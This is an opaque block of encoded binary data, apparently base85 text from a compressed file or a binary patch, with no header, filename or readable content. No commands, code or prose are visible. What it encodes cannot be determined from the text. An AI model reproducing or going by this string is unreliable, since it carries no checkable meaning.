z+!ERN+|B3UlBjJhQ#hE)hln3sFV_l$#!QhNj(78alS z)#ZB-Eco4?k>zKs7y;)E=e#2=>|K6rNEXhmdjaxbubg=i+C<#gi-4JL2Liu}wf_ak zGu|zMUuo8T=E7jF=@kSn3f5JgF}xd3Gwdv7=mLRfx1c@e75w`3X5EX3bzk2Fj>j)W zZ|r6MTX#ACG;`tlgTG=IQ24fU&XB%{t{?RmQ#iXzWzC^AzvoKjCT#f zJ?gCx5LjbezaTAR#=8#|?l+mG5eP?F&??%srx4h?{p--i+l+%-#$XrJ9UF$NWf`?~ zkoN64yEE98p24nRHsR&rC1<_)obm2~Tp@5>3Y<$oYA3T`1ooJbMZUUrpfekFHT-p< z2IRq8jE%#y71R|G7mAuR%MdJkDM0qvmo3SpbgHGd^U9!XEhy?NL2(B%Eq#r#{gSck zBfSFWd`_O`j*{)IPi(scP(a7t;^u<8){mfcQ&N(5o=25;X*~PBp7DC9N9<$yDD>0v zOK%hMA+w)x`?o!T{|w`q=iS@eQ~#9fU-SC7*!pyT7P^yYcM91!`u3OSI3502R#zXV z$&!7^c|8a%aqptaxzfJ#PjaQ2YlRbN8_j`w@PQg93qN`>Ku{uZ3wE_5~Q zgzAk9MDMq_w=?hUw!fjb@!Equ{%Ut zJXC8WYnxpJW!DzF(R84ml!P)0RQ<0>61KdnaF(@&#}A?buA>aFttpQ#C3HD2FQj!X z#a6?J#mIS0nw%ujZn38cy6=DJROVB{fmzue__pEj@NcHWFmiy`JbT#-T^AtNyUjw{ z@UIL!rq_mLk!)Ca=D&hg2)FK{+FE*gJ2T?LyxJ;3(Q8oGTOXFir;WfeM6yM=jC#+& zw=mWeoUNu{@o&J^0?C*K7ql*qoW6K3+C<#^+t@1sY-?T?y@q_7i^IRQ+~g}L{-d}4 zxPJl~_!Z&mPa_3{{i-u~D=zlMoOgch3g^81EQ4XL$HAs!Q|)=%S%YBn@44sapzF^b z%~tcTJceJk!o@+|LSWz*o@M4cTSnP=8S!d zd=15ncTKpWT|n4)YoxV@pN1aJHQok|jiLfxu$Q5*ltapX^Eo^#nFzY?niSW?$QV2K z;!011#iXIy7+|tyzWWdU3Q+chR1$E8g#Xwwnks4cQVW1*l!~* zJo}uFU-#d-IMP24_Rmy-1+1ARUU;b&CU?}=UqS4uKtFdU*w;UrEs-sx!g&3 zbNc60j}Q{R+kShd^y?{p>vPz3w|%F*QvIrjOT6;D|1~e=$Fv`vD<>JwNB!C=0lSyx zk@j9*|N8gV)$pgxs1$hdRz__nA#09OTw%uri$3 z(a(9$$2I#2dHe+K(v#}_X}35ZnxiTey~$Y5o=?)wJP5r_1AG)K30-mLLr{`k z^zn3FMpH6h>Y+Oy4-K3SS0~!yBD`XKC6D{RTAD&FqY5PyJ582yX|As9SD;HLgv^8> z==*diV?7{C@{nZi^uxc1O7}GxY733Ggsv>fPe|7?b#|+Ihq>q#+O1{|{FaOl(|Wc{ zucGGWS?iPG;PBu4Yrh(8_(co|gRyz5c_#sE%X9N=zwnIT6W$26r`h(yRwpdB)$li$ ze+yb$LE|Rh5!et8=N0IJSs}2)O|KFJV>PiQFk|9~i*pUjwd>!u0$t6~kaB<9*AyHC z7CxI~^O|%hn0KK~#Npq7u(4NoYY>*evt0vkUV9cVL%2=8{@JUc-QF#vm8?-$hCNX5 z_+W}_&9Ko?Gk3~1(GTt5d zt>rZc_EMl)gIyu8=DY@8!7rm;A!=RPF_=*5KNlGKCwYb0hTS)64$SNjn$Sr|s zH-rl#hkuW3uvcP!4r@mVa!slFZm;bu%WhU>3x@rI!;QV2>fo*67aFbn@<(&d;RC`t zrQZkjO~GxiL0h3w`Lc@etXiu4t%8T=X$pKJN}(^+WuAG zZt`99vHM=WKZl(p`gdc$>gw^??wnt?`q(xnNuR-ToYVQLfyl=~j&M2+dTSryWOLr* z6vt`MN=12V1ZT-{j)chU89}8@4{eYw=fDnUspDnKWOQ8_ZC7R`v2Ta-k&YD#T9aNu}x?HHBy?U3E5n0;^9_jdFLJgxx2~bm)gAGYOCXZX=qh-VdUR zqr{#MXKChR!I)aLBs^V_s-G*LfS1@Mi_uORlYdnw|0t#Lbs6;8TO&BB?hl7p%1y0^ zNxpk4Pq&1TJO1~_*q=js_Hsh1iY`B(N@Lvpr!mW>J+hI9BxNVtHYOnt;wDR$aF*>< zA={)ygP5%;q*|Ss_E<*Hc}AnO&U{MqIFo1Ux_LdOFFGOZB$wfYWcyHM^%f=hcT|4} zNz$Krs<5nkw?Q606FGY;hL`!oTt&~@MU~TeNUl_Q@M6r8i9I#3l{53%%!0+jRg1e5 zdZcSimfvX=E{(${+u~mf$m}t0Fu5Sq1TFT|OU@c+Z8yxec}@TeILm?$NAi@5R4_2Xalgybg_L+cyY@b1xPK zhv$A{GVec|Z~HyI{8x}07S0IR<6w_~n|bvvwEx;s z?nST6e+|NmWCwoz7PP>b%aB_byRlbE;`g{VAZ-2()iS`&-}L_cl$eb zs21#v{=EDQ1z&f7cc|8Z2aQd{U~FiYm!;(wBl|Knn`Ac*3tGj$qsjaim^EM9W0?T9 zuY%mi@OKzF#z5|b7)Uq3^3~nu-zL_D!-ruN%K#Uu?IoOBFbmtlyl~cpXqT%q43=(v zJA(t1vvXkZ8@3EV*br8X=LyZ44ZrqxBlXe4xDVtx!U+DcHpkE?VqFG zyN}pw?6^DpVk`W&drtM&M<@SZo5cM*ntwkXo-NyU?LL;@GJN&_s_o<-ng7eYiq00F z@MDSdrHj=^pDEUKdnX+|qY{^hMkjEj_l#Y{6 zjPTBnMxRn;o;=pb*~S)(O=<3krFRnDCtDkOsLq*M6kUSKLn;j2{m2UB*;zWj%8i~> z+e0}klZOn>nfz0_6Q(ixbWT;laCnyMLFla#szWr}=u{CPv-3QWqpnZP85A<%bck}E z+Sz!P>6|<`>3s4;)2XDHPhbjl(J8Gc*F7a#jHdh%yPuKC&t<>b*riFbo<+?#Rqowh zo@Fgn&YdU3_O6x2Iz(HPb3e*Yp>cLIN#agMR!%-E4BdT2>?*Q5n*wppy|zeFp0=ZR zRB~cF>O8geBqVcE`6J{-V?*bhf~(Nw%WS(%f1~JTe-1TT>97Y4U8DY7Y)e$=Dav zT`xKF>(C%AQ2;Lk+zr3B!^p+3=G=^cvEf<20$oHrgJ5RFzH1f?GRr6?H4EDaAcu1S zWbv#A#D-kpcMv!RQ{5)tfnvSb3=|`1S(9(L*puRBh`o(t>V!W!>33&X$K zZ2`@oTeA&FZx9VQ#!|J~Tj*mr36Oo27$?Ln~LShj|*_ll`K4mR^v2@BRev)!Km zHu*k(21;#cY!NJ%6>IkNSmQB6XAwjp)OEt zUiPrqO3VBeVBTIXXs!Ih-Y_pzD^FixS&YS#XHh zIYC$7!?W2H+ZI$hgF}oVTADIQ5&_}R2T{wTJRK!{hl^Nq^&x*eA5Z(UE2BfUa@*0g z?24VbZ4^$r$U|7xGjuzf^42S`p|Ez=3p0vYA>E(TlK?NmCv`6}gzl^kaqiozys-SKS0In%)O zU|CLy)S8f5vTL!5wsG|3ByBgjL-LFcOe`gwSqVET&%Snf*t$={()%K9!k4G~(^xdq zTi2pn)#cGjz-56lI7#YyYaUQJDPiL@zuTse^B|^^Q>Bxf5)MI@{PVHUXE#~9>3L9PKoZemdeSJkgk{v zTiH43gdVnRw{iKY;wDwgdDO6brX{k)(~o(Q5ViE=ndUEL%d~5I?o*mTJqXP>zj8W6 z`rg8+#>Qj&YTJPlxLj=|zdy`mXq!L^#r9UhDKu@kF}9ME>TX8OchT78S%p;kPQGQQ z+ohQ*q1tSjI?L`yL#7NvwPIWUx1>AzMY6-KXtbXcSWxiCyGFXs={zKdZB4;uSkH(*zw_KbY1JS+?>X~^v&gr$jKIEo zhHKyzy?Ug(;dhv~#Mtcm-h`_t*~P+=HSj)Z*PJV7;jJ~|*@poOOTbju0%Se#6&j0b zE03AC{dx0Q{@Jo^5dI@k71)=*0_;>EFsR$RCDX{b-)9!yYMHBFa@JBWIrn9@72Y~9 z24mkaGH*5a2>6M>_5I(X)Y_dd0)w;-#UWe?c>h_(zVwo_-hcKB&j9Zc6#O>ZZY~!5 z>L;-JSFq6Nwdc%yOJI$7)^9oVSV{mfBDy*xgWwc>PlRf-hb95 z{S1W*SJ5=yYR=0$((>?nv&i=VuOJ%WmC>9F3lHix3>C){t=?(JmC6I)G{6OboBDY8BE8#TH22-P0O%z_Pb@1MB(1L z?mk#1`Rt;kV&93XLL}rs$dWc_FEU4Im;Aem+m0Vu-RD8Zwnu)h?rmCCa`%a6mdf0* zS2JC!oXXit8C^n2dW+;*u1m2LwG0iZCNN7koa8Psf+XoeD%uYc4ITtkpA6mMWZUJG z839qwFy$~xf2z3932_^0rjy8UPO3cbvpcO$EUEC@na6ZvG>|r0nW7`^9x5=;*s_5btfAiVD~^2g5;-G$>y3ud&@aVOS#x3CXk{omsUIBR?4QC zZb{kt(iQ^ppy?28b#E%#pGJ)K)N&H)Ns+NTcNR zu>4MyyOzbX{nOBnol$S0C=@)?Uc;|3wh=fUegAjkt-iy{tIoQ!rQvUD*k!8_wG1Pz z?;hh81sjLK+x~$pDec+!ATa)-)G~Z$1k6%;s2R3p!u$92XOi?MkfdkYtK|%WL0#`g zF!rI~!QnCTUEqVdyxzf!8pbgoasxu${Wc6TH1VXa;^!nr97|mA`0|yA8pqXm@go zPcIg(t;52#>w~xMwzXA%^H=viGqU zGz~pu&l1Lvr*l<*glD;u@7Rm8mgXJxIqh9{XMXB;@@+fAPl0!dEA7hjI~nR>B_pct zT;0GA8D?t?l4LmvY1K<@IsXY^ckV>Z@-`CQ&RLf6IpJi(m}O_UKDXa@e#tidkoM8i zX>zq;jZRiM$nEo+j#xf%ah~)UPsh1->M(|0r?M7vNE?}tZQAYdE2>jXIJ;9t4Ull1 z9;X4K>Yn_o#Pvk9=N|B%Didps>N<()c5l;px}wT@BKnz}i6t|i1Eo88s#u^{9?-^l zmJ#>v*|JAb(`p+uPd{a+^U?Pc(SRDB9=xT_9i_ky$2ooG=^Q&-5_j?wOOmP52~`~@ zO8ujJOyfWj$6<}RdgXHNd^jaKtH zI99#&uKczW<(w3na?z~(r;wesEX_ovRyVfu^WY>*MIL895DXGdP8$MUM9ar-2&M1=f1|i0CMnly%BAX z(6v$5Ltb++PN29zwUqK?{wuqjeTQ@L?4fYm8u*HEOK;9CN;US%Z;!H#Q{c>C*N|(Z zH3*w?FR*R+1%Wlvm4`Vm^xC!twd2{wV%vdbiG49F?%#hlHERSM<}D4_J030llUC(9 zL@b$q|9O7xia;}OWae4L>Xl~LR#8B1X~M#x;3DX3{iC-u|1}*CyaF^|yK2RZN2{QR* z{)@gi1WM@Z=>7Xwd4XA5dGk5S!?PU-|F*yR zcV2-mEH%Tn;Lt8qE59`l$i)vhlr5fxroTf0vJoEyKJ-+1*75$bH(wNUZS2}xj|{!_ zrit%;rm>B&+g9Li(j^}G-^qU|n4C|gpY-YM=StKKb9YH za%nzxIFHXq_gQl{`P95hT!Mbg_dm_sQ-LS8(vo@Qm*?^Cvh%m{B>A2HNIL4>&(m`$ zebDmBs?T6Lca6>AjZ1JylJPAin z2}hleqLUD=Dzxf0jtoDkEKu@^wV%fF$TW|?WfDAkuqXX@$n-EDRGz2>N#az*Dl?zV zuGlvE2xxmgMlWlNk2i&O!>><+&xa=Gvm!YS%O)*P=eD)gPDOc(qWKt+c?%DD6g6U+ zaVj!M)4RuGS)zCrYeuY``0wP?q;?U^hrEi8Y%1=C%a)&3Z7190WQ)vJ9)bI;{J9)L zs+8FM5ZiZ!tjw~#rH4hs6HQCjYiniTiO8dh#G)jj_1SVcG<7GI&o(_*;B-YcdcfbM zr^Csh@QzIn)S}gHOhuJ2zh@;IPkz114^EY715gbh2cP}G)ze;&dKvqk;V<*w1H}T>^_^d1 za^}Bc@B1Tehx;XG5p?* zhloS6n(fwB&17v9$zsI6FYJhTmDjV?T@0vKR)2(9OH8jm2mRx>R;?{+1~!QM-BXDt@pn^{k+0I zRyoeevjU(0hr^?*rQ{Pk+3wHe@^{p7=8&nA8)v*ejOkF) z(#}H&*?eHjffIWYO5m$J)Fmx;iQ`8z%T>CRr#jiZJAP#-KQbPqYh}yNHG+sK(Y>Km zKki`yODx;TkET7@-AP8ddZ<8M-TWzmvpd< zR1}TJAyZoAtdxh#)fM88h~{Sty+X*}QIR=B{jz%wr|nvj2Tx?Q;jLuj zS=wKP#;=h3ag@`SWZ3|K?{ng+K zY+|)w5pMY_55(FU#7|{WDuRJo&3471DC^FTS=IetW{Y92S+!!7Vfc3&mdzj-=A9vL zC^&?xBqH35eIaNu@94d|{zk9^i+1G?9m_6sWjSnXBGypYI4nBu3s{!NgloJN`G#{v z!Gh)DU$L!ZaIq*jVpA=HT@8x`ww~MecYd|yOS^2fXSO^GE}0otyTEJ$jlgEx_=CC{ z??S$ej77T#fg5alMhqI)thS93^niHCcN?*LBFxu*4bDt;`F613m+t~I5jF)2gzdBu z$Zhg%>}9a)H=Kdoyc#|4JjeKV3T)1uA#Y*q*zbXFLou|Qxv()-z$-o90?w${M65aQ zLgV#1bWj&+7Rgpx^RE!NP}=V>n{fRyb1fw(_&t}Gy<0r1uLJiW7+Vw^KZGm6x^S9~ zXW%O?292c*0t2&PFN0lV?dNB&VBzA>ps{}uT1#Kc5V~droFB+~kAr8zySMy9SZj6+ z|B8#xRfAv;eC6?|SF9QXwq*ni;cB+qvW$k!wq=KTk0EH?NW1LtFBDvN^Xx#eX;**q zS2JQo8CU)LS3>5%FWkCtHU9G8Jj%?P#lL+GNJ6y_e`ioCl#N@54O1&->af zeL`+D*dd*KdOOC6T{(B`XZtNK&vO1y@pHocA&_UXJ&alI=PjrGRX3%-$tDWHmbINE zy-dT8<>bK_%JXs_|7|=Uf2ZB{w+Fd3&urbyv*$Z%x+>YW6?H40%eS72zj6P-ypDP{ z@G;e+tF8HA>(A#z$B8SaG9SY@!u3fkC%wmkZJ+dXIP8-l2RR?ZuG79eJ_knN5S8dy zLa3tTJ|F7rho)r|QYt4@RN1~JKU=x`L^??@67I~2T6t8Wi%xQ7!;e8f_9VGO%C3-H zYd8K$vLDd)2=wf}_+)6{lyC+KTy7qm@H9z6J|g!c|1^xh?(Lxjk4$DfvRk8FO78|p zJF*rNl_Y#DQ_dPSzx^~!3ES-Iqp&QG>2h?%^XiVX6HcG%wo}mw9_5@K=xW_lZi-G? zG+t71=SfSQCre^G!!A04l-n&)!XAaJN0_>lR+18T(RuJG^ii-A<^$7;U!B&k{;|H`QcUza+W%-uusbd)sRC*pYAiR>xi z5X4cIXQj;}xYcb-?2C^pc07FB*Pp|rQX&6bRcX|QZ8sSR70J4^x734Wt@Qj?psMRY zvBB1VBMF8TtM;z(b_h2Jyh)kYm)mZ|$wX}iKuSWZQ=8KNQxgPS0aASyV74G++WebE^YC3Gx z^*wC+w*B?qf@1yhRqbZr`vhT8^Yaqh_Sb$NI6R!|sKMUK0Nc);QE!&o74UlUd+1op z#$FGIBhXvTW>|4<3kqHB*TA>tw(;{WH19U+^=3dg{M*xB`~ByD`{%HNx0)I&q?YkO zyIy)UoDs0N^&kCbe=qViHG69jaq};<8w$3wei3>Pe`|{?2#jW?z(QTYY`+2x*gB-h zS94wOjp+ZGol@7gM4r zT*tL$k3VNCpns>FEI~-K^{u*;3UuPw2iUzO!a;))kRSEao$}~=u)~* z=^dNLpQzqdNcVsS{SKVx!pSlpR5z9eSW?ujmY?ftET;5)L?cePQ>7v{$^FSp zKPA?)I46c|mc7L;AtX;oKgfinB`4&;Co_dou6xt6FYI&guHvZ>lo+);RqW9&9?NQ( zhC6VUs_1Y$CyJb&)%&lA@B@>#{h)yCftBL3)WEBkSkgL ze3t0AcgrYl1%x%{%`4FI$RBX_csH*)W7qBlynyU5He?RbVn3r$(nsb|r{hi<9Tn~Je&|_baHVn&_M!H;LTOsYt zd5bzt!6H*3um{JU1-H^z!vMw}(4}UD;r4rScU|5vaG?$;=nAxV5IY`I%^i z+ao<&7_xoY;PCH2AH~_Sa>!R`Q)hC*xmPUVIGE3l6C?Y9Hq+gG)=5jYd58n z7C_kd0}G!}Vk^Jd$?z?l_I8sHQ+aNu@-Oj+v`f!!-M4JpmF-%t*!>`n40|gX-hsF0 zs?s0A;AD0QxdX3SKMVT5iYugR9cLwJJUq^kePc$KzWSVyZ-xs^31WZFaD5;=?6>3( ze~Xj9|5;}_ZT!MW9v#){=*4009Laq8%7M)SZS}cM=P{krR$xwO*D;u!$dqa>^7yVi zuCCoKG@04e9hsGCxW!lV50Wp{-sQy zcNNkJ(+2*zJJrZaL%8k^%m-!vWVm|R&6G{T)+gKaKtIT^`!gZusml{ha)*#DZH%Xr zSHs%sN5I(2c^1hmu7s-FAuJVgJNbMjVPab|8BSnrxxKwblmVdW>H7Fqd&K^lH>q5-$gP zf!tY&Z2@G-;M{H4KIA)ui!nT;u^P03hHwzb&N+zc!yiL1<#$sDD?;8G^WNXwrTMT>`WbHRt_=y2oF; zW@P5PWf!Po1GZKU*!I}BhQBug7pQ`_ddb-@KUa8cA#m~RTs7piU8w5`ufOCg^3|nR zowX~T^>01{!b0Qluc&sMP;e2ejlK^E+c53=XRn04gUO3?AzbZBP)vH@7v?n-3x1n_ zdqzBSUTu{#8X2=CCe^YCbY4^jd+j&Lic$&jo6P(IlwCn zKPt=lz~pbT-_Q9{)`zw~z4;91Uv@n8Nygr7Ym#Vlf#=}27j3$N1Lv=Ec&~|c?c4;cflv5j1 zcWeYKTU;UZOb8itUs36bTE5HE%@D|^nxeZm+u3z3J_H_FvCfl(-3-ae7C|?!$E=)v zO*Z-I8D-y5vK4`4DuFTG_7f?mccqy^%dTBr?qrhC0BKK@HF<>2ppd?Hi7PF29iq&B zoK(bSYYW~X1o}=7DYu$et9$9jkf~4ClEF3NRrhSU0a{J$$Cf%3HK?dMX%Q*=Fu zqE=Tb=dN<^#!8cqtMlVIPW;5W(0<;sbveliq@M|N8``B+#IxH@I-G>$oLc(yc!Um5 zT~}9Z8x%sUByNV}+FHtltOn>%MV*Z#giHg9>SmJPRg#VNsM0cVEA1t7#=DdQW}Q~_ zYNa^We&3a|--uRD$&%9qt=@)$+fatG$s=m+ga~F=OTFqmKkPi*>YRaPz3uEFuf*$W zbUlpxpxs#lwkuYI>t!LT!hOdEe#`TsU`=cra-rQU!^QCI{;F>eg8gM)4}7Jup}}sG zvSC((;M(mA=Jl6J3F*Rr_PZ#%Ok zq}5PZY+KB0Bcon}ZNstzp3h>~)|A#P%$An+V0>fY>}JRd$uiZ2f(LIKaznm{bI%uk zgTU~w1sj3yzXhxTu6KjRUdlG}@*=eEAg#X(%rMt?I2YiRz0g=8nf4lT^%GbCZ}V@7 zn{&qypNeoZ0=7R;Y;+aa>X)A(T;GkW_FuHS$oJ3Dql{k8#kLju=a~pE_$^JY;?S|n z0D&|A^*hYG>g+8zHxpaIuLrw+vDs`3=LT%cQ)VV5gFxolpPH-zXtX+mrkUBXu9#@y;-wG1fzo|J`2spUyixf$e;XKX&yH zKbEhGgKw(UV(MO=wWT&5%e#{j{G!#D{#3lTe(hhKd=p>Il-?nia~1vICu9n}jTN3x zW;A>2ll?CD_I!IT`!8zX$j5myN4|A(^SR5%KOX{h{PPvPPGy~K36RyfZts#Ro;vld zYpTTAIg^K?ItM07eOeT~S8$V+7(;m-08Vom}BqM82%9WpN z%TQ^WB&rMTB;-Un`IXaG`E`-g74-;S;y;3}bv!Pb{M|{J7Dxq32K5Y70lR4m5a+mq5>p6Vql&va#DH>2Iw?BsE- zDvCmhvvcl8CUZKsY)2`a3~mWoJod{*(94AIG2XkiML#?O&zNS`LuJ>ogy_!aZyAAU zhCnh~HdR!sugmFFsS%~ruF4{m^Mwsl40Z4>T?X>XG+Xk3Dq#%wDP zwsE)^m~H1^?T) z|197Igo}116ViIHYY>Kl$0@>X=9S)d3{QdopudH5KsaJpSoa?6dIYR*0egDOFGc57 z=XMH>wc8=F^9xsk(*fT4^6%JXfV!8U#pTq+o6Kfa2EoB$M!nXAh?{LI#4HT|*4^0K zAgpO`CcK{f8eofahlLUJkT-zrrR;*%-YP>Gic;HSK@+htIeMY4V?P_ktwvom!>}bD zyNwz38iym0vpBRh8tLL`A{M|FO4nVe>s`-?L0ZM;GSx;V1TL|+jL)+DVzUH>+%inN z0p2Fx_Y$5RF#}f&9+a^-8{QX^KPaeb8+9R!zV~i z!kxdJr$l@DL-S{7XK9WMd#75T$(E7l*-VKmwrfe>cJwRT)d~JvTmmY->prqo8>QJY z*<^c9Jlp@FfmeHa!0zhge|sjdlOsNDwBY*0>^x~(^E-`w=xT*iWqSClOY{S-&-psM z)j@7feL9u-7$)a^fRAKvf;Eyk}E@PapzR&z$r0X zB*#yb0y{(=C#icW@h7(ZN5JDu8(y+Ym85NdoVzh{lBfGmZ{@^qjhb#1>xX$JA+S6!D#hn)n$Z?ZRg!*EGS^mi zR~~wvRJFt-<&u#qc}6oO=Fx~k;QLA9_LPCN6=Dy4p5E-&vcfHvz6+^6mIx@+;*+Xn z$ekbOUXBkDC8uC%~!?hU+P zFC?p|q2LiT$<~&5Hh?T9eTxzBp0o6W!^FNkg{83V+%XKcB3bb-@H^O>A#eMQz@r!W z3TaKdX6K#)n}`FvMrq|4?8V3!*T8G$wEzmPyZoT80Jg+1a-u9NH1@K`aWHe< z=3@Al!LIBBzhfJF$ItMWrECMQFc$c2!(c1U#Simh@2#5E*3v(RRjA8&cfbE^{uSYt z^WoQP$pTvevN%@)za}mJyagTdH3$cL6@rEg1+ZlZVEJ~iz7(9xei80?VjE^fzQw}9 zVS}*ja<<=NT*YRddk=-zfS9SS(AZZk$F7-g*#)zn1#cW)w0mLl_>H=H7rLXwu)2)K zxrcBCwx(b-br1I9*RtRgcCLHA1&q_N9{U2th(owgZF8}b_^RDuWU*>F0oDA-Gf)h= znpg?c3(`ho2=}}fJugU?0kk&fN=eATY@OJ<99%OY2Y#(#=?sn1Vd47>|CuSiYd#~x zcm3pFU0p;rf^P;DALJsji%vf>b{pGX1azwWHG-*f!XM?{CCI-q^XH0x9$ljeK+qvx#^#5aU`dnMzKE_M@B`vX|jPaxR{rODz)ycOGx4-^DuUbCY z_VG_gsdKo>QI_MDPGZPfkR@lo+VV*(XERP^9imt+i+w6Pdh#Sc0te=d=W^<*lgRH* z2+0!9)U|#K$bd&p-ufB%u%{wb$n0_yr5WArR5PXNST)?@_`Q4bf7vCivUTRK25eHxcvxv%<49?LM)0?ZUGWm{rBRebsJleSq9nDtrj{&BA8Y)`(}J z-SUWh0ow^Lr{=$!;jTfjJ=qHRnuYtjz2LJ$@=|n|x6pMip)SbG%-46ZZ8^iU7U)%H zhugWa_h|=X0bX;i2EGvSO~Fs#o#F2vHLI;%?ihyL;IM5#SQ_4T)_umo?eq^}nTVMP z_c*wsG!dR5Zxz`0uLH?j`r8jAH} zRxwP(B{t8>Z*B#Xnf5}*wqahdcf)V|W?s#9i+l@ID@1pXaXs)g=d#P>SC|}UDS5+L zEbQH)RCyNs4)&UYA>sjH6Rt2>9_G9-advoSHT=#n z7yjKZLeJJ^^tXB!-in1Ac;RB-VOz$#nfw;C&Q%!e-?<6}hl_`Bjm834*x80dg0u&0 zH{>??7VQGRmaXA$Q}9fRrG#@U&(LvZ!Jhw)9e`cDOkmxMVQY7jY<>m0x1?!UenO=& zd1pu-C;X2-!&BP+>qvj|6k88L6G1rQF=yQ3Z9k%_`PqFNh{xZt{ekc}=e_|sX#9w+ z<-=1s-<}O_dv{0{0-CKc+@U^@+w-mA@#izV1CP^bM|>H7WuYtfd)oRWtNLl+Ta{1# z2|VHbdG6|aw?3}Nax1re$$m)tsWJXh&VMAWdE`9hT5vp{KQWylb!@xuTCS6uY?dfl z>h$GvBX>@H&ZFZQ863rtGAB%neW*KUPBpMgtSBidAxY#Ra3!fN1x^o?tEI2~(J6^#=<{ea#ul~gnTJZzmA|%>iXL2= zrIM3pwz}a6s8vob>($K2#wHbdWOYa8(h8~F&Y-%zlwsxERh@*LimhaDs%Hk5qwPG@ zJQ{6G6_+keWLrrnTBH#Va z^J^)d^(7px*rHv-FLb=#h*p)%i!D=TdHmXQ2-lno0(-(6<`wx42y3=0_{|r4&BYS; z%(o4_0&N!VF>!J0Xoi0=py|WEL%zmd0dFC2ocRi{oO*}(V6Vg372&oZL|lAo@p%PW zGhZdq7vYMUJ=M)Og27(nZI6JBx?Bcgw@1C8uF02OL93j7 zH_U3JI~3f8#=C9L@K+!#p7rI4u)ZB!%gQ6?<8IE49_+OMm@U7J8RKe+Ga=Wsw{|aO zy^zd%&K~AM9@#O3kjU%oQuMrk_kiSV8a2d*264bFjF2D?4dg_MVXhfnc~^`KfG+RIrUG=T8H zU;>TC+j%nFr+TFdioTEi4-d35&M`I}wDSQMEK_LoExuctw!5*>13qi1z?CFb9)gd{ zi5g?c9?jFjFU3tEq$owYof`w^}r>mM5b*309lY2)lZ1AU6)?8gD`K8fjASe_-QrH*iR z&XJFUoQ`2S&S`fGB6C#yokYvdrYL8SVgF>K0oC1?W%6t>8Ty{Bsbaq>c9d#$&OB`I zW~*Weuh_|B1AT?7&xx`jC7QiuC#8v+5;EqgX{qnY)3MZ2X)=#&mR-6MP7k{ft?Eu} zcbG@$JR_T0<>;-HD!}L#Rv7c_MbnQ!*OkPAAJ&s#z{OAA&s+^y8pcb+$yH*g{>&Ebd(` z&7MM0IhChCmAmVHlMr{5ymO{AN0(gzO6&Uhu zXOSra=#^dBhTK}}Rp(~j3g^w|5o5G7m~8SD>T-G1D>&_Cl4#T`sukF_F-!PY%Ysk| z7!6x2o>hpy+v|6s1-x<^ld-LlQ%m{FX0~hR#^Lzco%>L24~R>a-?%an4gDrPQ5!-$vEj$a}CZzpxHYS&SUj|-=#l7VruV`1wdEwc^Utz2- zbFnD6=C&o1p-WLraz(qr-n`+=mN-{_A*z*%G6LJvV5_OI0U09pa?`Pa7g!cl0=z=q zx+;)6v9wlz@lg-Z_)u`ySkn9v5q3B<<;A~?dw48<8b#VJm&-^co{wf6a)d#jq@O?LJ^`<(N;|GJ;=`mVM2 zIrr8pul&AO^7W&y{OBux;P-#cyWaKmHSc~m8hbPzzstw(!~FX&xBIWHFeIZ_U>+9kMY;P%J!b8Z$RtuYd-z}dbd}rf6vngF~|0y*VA5o`p|2y zK7AO+AAYaF+{eG_^{0>H_+wv%F?t zXzzWT!}Yo@{a5d6_L$eb-SPUY`n-cbxr;q}>mdB8jnRR}&0kuu2B-t_rxwUOnh<}m z{yK3td-7K+?%z=T2QaUOW9oq1*^~VT!Mt^V@rN+~VX*%2d(#hh=|KEng9gaHdTD`r zpa#f(+MAf$8sPXXw$cMxQv>3Uxg39-8o{-Ocu zpc_3P@t>Y?U$I|5_xQlUX0dqCgw8#uhnjDu`?}44&G)sVpLl)Z-F{H)D>ujkS_9UG z^Z>^1Llb}YWKKP>uNL2rAJF@g4?6zCp4?x1w{?K=@V5sf2dD>c<$~k@X<)@Zj;Vpo z|HuPkPd$|PSKPlr=Bp|0agBQLe2cB(pB`W@80PW-a7zw|58V3x4UaER1LU}L@Z#q! z9Z*;05uN+v{bEiZSe)er@c?_jGy#^0eR+P^mnTF6>BF6xaLxy7jaTf$54QK;Y5;7V z0~r5|{j?SP@qnua!1<$_y=sB&|10(t{}cCSPv(hz=K*R!-0|}lZ}P|3ZSsHOe%Au` zyeB^Ue6wA=%J_x1v7;%ndYuF(NCfkq#AKkB~s zzZ(t5@d5RSck##h(*vLfc|iI9$^johoKp)O`^^3FfUr+*4Rj7r&QA@<8eol;|1UKF z*tQ2iC#eIS|C0;IJ?x`}$^X{Ea2M~^L)8LeP%JoJOdgqU#w(7G`__Csq5G>2=Gyjq zao_AQ21EIPydd$Rh!<^0fHi<~|9Jn-|5pzPchv!i{jLGa z2fFsh@kh~i9!L$~dT?q2uLX)dxmQcw7yjh_7Jlyb{_=kwBQK~1gnrr!4j(Xg)qw}M zupK4`|J!SG&*IAK4nL^R)BS7Q*Lcpc4$j5;ehujJXB{}+-!)+AfULU)z~`DjYrizs ze`Jq5z}Ean3t{eDV85pabo?XsKS=h=13rY7#2WE`EYyZ;1T@BFuNLyiP8okL&!+ zF+XcF-^Z%+uJ`bI&yD|IGytyg0@eD`fW1G*^n8!U|92ip-6!t{*RKB<`(&@!PYpot zul!Fvqz*veUcmfcanGJ>K<5Ci1;QVCsBwJYZVhl~0A6tJ0gV4g4`H9a^S^Y!_y_AW z9SRV7&&v{utr~i}n zSp$0QUvr6f)q}|aQwOLfL`DY0bK)>2UPrr`R={{m-SyfAndJ$ z-V0*>FZS_(uK&e<*8j5)Q2e2T#J<)5IPQHw{Jg0Ldw{*){$Dj9&L{tqb?c$nOAnjt z?f7MGqlMyqe8$#CJ_kK@!j@|>9{(@D2jj$h_nc!sQ2wv$N(0&hzFGe{|C_z@0R29V zxghLI3t&zUQ2f*TYs~m(E}#ao_iOJbd(Y7aQUgpLSoPo50plO+M-SWsWL@YS!2RFs z2euDT3*a5^H~aDc<$l)!{VYKK?|e@kg!d=DddB47x?u4Lm-L%e=8isWU-*pU`U`)Y z>$<<=o~+{o758MV95D4@YQofgM;(Cs#TTV|_K% z1JnVynms%~I`HxKfX&}~Kx++H^?zbM8n`|aqy`f6+6#~e(EG{0Vjumk0pkH-pBxY$ zAouox(t)1=(hK7Gi+y~6J$(So#C@?i_&>~7toQsojs54Y^St;g_RH6=8X$khzv}3$8Aout`a{$>V2e6L@=m8V^)WP8aTnAL#r|*3ru+$oWxqo{< zj^hJ*7API~8Ia;%8lVm;2Ylttv%t;+sR2$8V63Mm*@UW4y=Ei}r#s=R8n3pwCD|TA1EnO^Tck8%&9pwJ4hm74f|0C|Bg{lL3?Qj2&7li-O zFYc!gR4oXOW0twq=brTOj2HW`pU-Lj 